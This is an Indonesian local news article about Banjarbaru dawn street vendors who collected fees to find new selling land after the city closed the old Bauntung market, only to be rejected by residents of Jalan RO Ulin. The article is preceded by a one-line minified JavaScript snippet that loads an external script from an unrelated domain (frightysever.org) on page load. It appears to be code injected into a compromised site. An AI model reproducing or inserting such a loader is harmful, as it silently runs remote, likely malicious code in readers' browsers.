(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Nasib Pedagang Kaki Lima (PKL) Subuh kian tak pasti setelah Pemko Banjarbaru menutup total pasar Bauntung lama di Jl A Yani Km 34. Demi memuluskan pencarian lahan baru, dikabarkan ada yang mengkoordinir iuran ke pedagang dengan nilai ratusan ribu rupiah.
Penulusuran Kanalkalimantan.com, mendapati bukti penarikan iuran ke pedagang yang digunakan untuk mencari lokasi baru. Pedagang diminta membayar Rp 850 ribu dan menandatangani surat pernyataan berisi biodata.
Namun demikian, mayoritas pedagang saat ditanya terkait hal ini memilih bungkam. Walau beberapa di antaranya mengatakan dana yang dikumpulkan dari iuran tersebut ditujukan untuk menyewa lahan baru di kawasan Jalan RO Ulin.
Berikut rekaman percakapannya:
Tapi kenyataannya, angan-angan untuk mendapatkan lokasi berjualan di kawasan Jalan RO Ulin nyatanya juga tak mendapatkan lampu hijau dari warga sekitar.
Beberapa waktu lalu mayoritas warga Jalan RO Ulin, Kelurahan Loktabat Selatan, telah berunding dan memutuskan menolak keberadaan PKL Subuh. Meskipun pihak PKL sendiri ngotot lebih dulu mendatangkan satu unit alat ekskavator serta menyerahkan uang muka.
Baca juga: Putusan MK Berpotensi ‘Balik Jukung’ Suara Petahana di Babak II Pilgub Kalsel
Kabar ini sendiri dibenarkan Ketua RT 06 RW 02, Kelurahan Loktabat Selatan, Tarmudji. Ia mengakui bahwa pihak PKL sendiri sudah sangat siap secara finansial dalam mengelola lahan di kawasannya.
“Ya, itu benar. Ekskavator itu sudah didatangkan. PKL sendiri yang menyewa alat tersebut. Padahal saat itu, kami warga di sini belun ada menyetujui keberadaan mereka,” ujarnya, saat dihubungi Jumat (19/3/2021) siang.
Disinggung mengapa memutuskan menolak keberadaan PKL Subuh, Tarmudji mengatakan pihaknya telah menimbang berbagai dampak yang muncul. Mulai dari kebersihan lingkungan hingga akses lalu lintas yang nantinya akan terganggu.
“Intinya, kami sudah pertimbangkan dan kami memutuskan menolak,” tegasnya.
Ia pun menampik tudingan bahwa adanya penolakan tersebut karena adanya intervensi dari dua anggota DPRD Banjarbaru, Nurkhalis dan Fauzan.
“Saya tegaskan bahwa Pak Nurkhalis dan Pak Fauzan adalah warga yang tinggal di sini. Kehadiran mereka merupakan undangan dari kami dan porsinya memang hanya sebagai warga. Karena untuk memutuskan segala sesuatunya, kita harus melibatkan seluruh warga yang ada tinggal di sini,” tuntasnya.
Misi PKL Subuh demi mendapatkan lokasi jualan baru memang bukan lagi menjadi ranah Pemko Banjarbaru. Sebab solusi yang ditawarkan pemerintah sendiri telah ditolak.
Berdasarkan surat peryataan yang ditandatangani pihak PKL pada 8 Maret lalu, lokasi jualan anyar mereka akan difasilitasi secara mandiri dan dikelola secara swadya.
Namun faktanya hingga sampai tenggat waktu 17 Maret, PKL tak berhasil mendapatkan lokasi baru.
Di tengah ketidakpastian ini, mereka justru menuangkan protesnya dengan melakukan aksi berjualan di kawasan Lapangan Murjani, tepat di depan gedung DPRD Banjarbaru. Bahkan terbaru ini mereka juga nekat menggunakan lahan kosong di kawasan Pasar Bauntung lama, tanpa seizin pemilik lahan. (Kanalkalimantan.com/rico)
Reporter: rico
Editor: cell
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.